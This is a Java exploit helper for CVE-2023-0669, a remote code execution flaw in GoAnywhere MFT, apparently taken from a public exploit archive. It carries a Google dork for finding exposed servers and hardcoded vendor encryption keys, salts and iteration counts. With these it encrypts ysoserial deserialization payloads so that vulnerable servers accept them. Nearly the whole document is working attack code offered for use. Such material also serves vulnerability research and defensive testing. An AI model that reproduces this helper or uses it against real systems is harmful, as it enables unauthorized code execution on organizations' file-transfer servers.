// Exploit Title: Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE)
// Google Dork: title:"GoAnywhere"
// Date: 3/26/2023
// Exploit Author: Youssef Muhammad
// Vendor Homepage: https://www.goanywhere.com/
// Software Link: https://www.dropbox.com/s/j31l8lgvapbopy3/ga7_0_3_linux_x64.sh?dl=0
// Version: > 7.1.1 for windows / > 7.0.3 for Linux
// Tested on: Windows, Linux
// CVE : CVE-2023-0669
// This script is needed to encrypt the serialized payload generated by the ysoserial tool in order to achieve Remote Code Execution
import java.util.Base64;
import javax.crypto.Cipher;
import java.nio.charset.StandardCharsets;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CVE_2023_0669_helper {
static String ALGORITHM = "AES/CBC/PKCS5Padding";
static byte[] KEY = new byte[30];
static byte[] IV = "AES/CBC/PKCS5Pad".getBytes(StandardCharsets.UTF_8);
public static void main(String[] args) throws Exception {
if (args.length != 2) {
System.out.println("Usage: java CVE_2023_0669_helper <file_path> <version>");
System.exit(1);
}
String filePath = args[0];
String version = args[1];
byte[] fileContent = Files.readAllBytes(Paths.get(filePath));
String encryptedContent = encrypt(fileContent, version);
System.out.println(encryptedContent);
}
public static String encrypt(byte[] data, String version) throws Exception {
Cipher cipher = Cipher.getInstance(ALGORITHM);
KEY = (version.equals("2")) ? getInitializationValueV2() : getInitializationValue();
SecretKeySpec keySpec = new SecretKeySpec(KEY, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(IV);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[] encryptedObject = cipher.doFinal(data);
String bundle = Base64.getUrlEncoder().encodeToString(encryptedObject);
String v = (version.equals("2")) ? "$2" : "";
bundle += v;
return bundle;
}
private static byte[] getInitializationValue() throws Exception {
// Version 1 Encryption
String param1 = "go@nywhereLicenseP@$$wrd";
byte[] param2 = {-19, 45, -32, -73, 65, 123, -7, 85};
return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 9535, 256)).getEncoded();
}
private static byte[] getInitializationValueV2() throws Exception {
// Version 2 Encryption
String param1 = "pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R";
byte[] param2 = {99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73};
return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 3392, 256)).getEncoded();
}
}
